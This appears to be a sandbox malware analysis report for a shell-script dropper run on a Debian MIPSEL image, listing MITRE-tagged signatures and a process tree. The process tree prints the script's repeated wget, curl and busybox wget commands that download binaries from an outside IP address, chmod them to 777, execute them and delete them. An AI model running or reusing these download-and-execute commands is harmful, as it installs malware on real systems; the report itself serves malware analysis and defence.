4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324

Analysis

max time kernel
90s
max time network
94s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 02:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
Size 10KB
Sample241120-c66dpszbnj
SHA256 4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324
MD5 fb23fa91f7b90b7a676532663a56473d
SHA1 a9ebb73f646a954fc7db70191efc34d1e0d566f1
SHA512 41c97f2ae8152c322caa7f43177a00bdd1ac816667cfdece429446bafd2e3af510b24a760aab5670478ed9e816293ab1d8cf9716bf7ca5fdaa33c243a5227ed8
SSDEEP 96:H6zYcKWsuOgXDH/dlmNuCSfHsU1Gs6GxJgKgsuOgXD3Yx3Ldlm11iEDuCSfHa1:HGYcNsuOgXDsU3ZvuOgXDb
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
816	chmod
870	chmod
888	chmod
906	chmod
912	chmod
738	chmod
744	chmod
793	chmod
966	chmod
930	chmod
936	chmod
942	chmod
882	chmod
924	chmod
948	chmod
978	chmod
894	chmod
918	chmod
954	chmod
807	chmod
960	chmod
972	chmod
858	chmod
900	chmod
762	chmod
834	chmod
864	chmod
876	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx	curl
File opened for modification	/tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx	curl
File opened for modification	/tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4	curl
File opened for modification	/tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT	curl
File opened for modification	/tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN	curl
File opened for modification	/tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh	curl
File opened for modification	/tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8	curl
File opened for modification	/tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m	curl
File opened for modification	/tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz	curl
File opened for modification	/tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT	curl
File opened for modification	/tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS	curl
File opened for modification	/tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG	curl
File opened for modification	/tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4	curl
File opened for modification	/tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx	curl
File opened for modification	/tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m	curl
File opened for modification	/tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx	curl
File opened for modification	/tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1	curl
File opened for modification	/tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa	curl
File opened for modification	/tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh	curl
File opened for modification	/tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG	curl
File opened for modification	/tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx	curl
File opened for modification	/tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1	curl
File opened for modification	/tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS	curl
File opened for modification	/tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN	curl
File opened for modification	/tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8	curl
File opened for modification	/tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx	curl
File opened for modification	/tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz	curl
File opened for modification	/tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa	curl

/tmp/4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
/tmp/4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:737
- /bin/chmod
  chmod 777 WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  ./WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:740
- /usr/bin/wget
  wget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:743
- /bin/chmod
  chmod 777 FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  ./FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:756
- /bin/chmod
  chmod 777 JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  ./JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:786
- /bin/chmod
  chmod 777 BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  ./BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:797
- /usr/bin/wget
  wget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:806
- /bin/chmod
  chmod 777 tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  ./tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:809
- /usr/bin/wget
  wget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:812
- /bin/chmod
  chmod 777 idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  ./idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:818
- /usr/bin/wget
  wget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:828
- /bin/chmod
  chmod 777 mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  ./mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:854
- /bin/chmod
  chmod 777 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  ./4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:860
- /usr/bin/wget
  wget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:863
- /bin/chmod
  chmod 777 DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  ./DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:869
- /bin/chmod
  chmod 777 teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  ./teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:872
- /usr/bin/wget
  wget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:875
- /bin/chmod
  chmod 777 PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  ./PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:881
- /bin/chmod
  chmod 777 ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  ./ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:884
- /usr/bin/wget
  wget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:887
- /bin/chmod
  chmod 777 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  ./2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:890
- /usr/bin/wget
  wget http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:893
- /bin/chmod
  chmod 777 zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  ./zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:896
- /usr/bin/wget
  wget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:899
- /bin/chmod
  chmod 777 mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  ./mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
  2⤵
  PID:902
- /usr/bin/wget
  wget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:905
- /bin/chmod
  chmod 777 WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  ./WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
  2⤵
  PID:908
- /usr/bin/wget
  wget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:911
- /bin/chmod
  chmod 777 FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  ./FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
  2⤵
  PID:914
- /usr/bin/wget
  wget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:917
- /bin/chmod
  chmod 777 JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  ./JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
  2⤵
  PID:920
- /usr/bin/wget
  wget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:923
- /bin/chmod
  chmod 777 BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  ./BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
  2⤵
  PID:926
- /usr/bin/wget
  wget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:929
- /bin/chmod
  chmod 777 tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  ./tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
  2⤵
  PID:932
- /usr/bin/wget
  wget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:935
- /bin/chmod
  chmod 777 idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  ./idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
  2⤵
  PID:938
- /usr/bin/wget
  wget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:941
- /bin/chmod
  chmod 777 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  ./4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
  2⤵
  PID:944
- /usr/bin/wget
  wget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:947
- /bin/chmod
  chmod 777 DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  ./DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm DQul2qKd09ITKkHJpETty8DirCA07F1nBT
  2⤵
  PID:950
- /usr/bin/wget
  wget http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:953
- /bin/chmod
  chmod 777 zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  ./zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
  2⤵
  PID:956
- /usr/bin/wget
  wget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:959
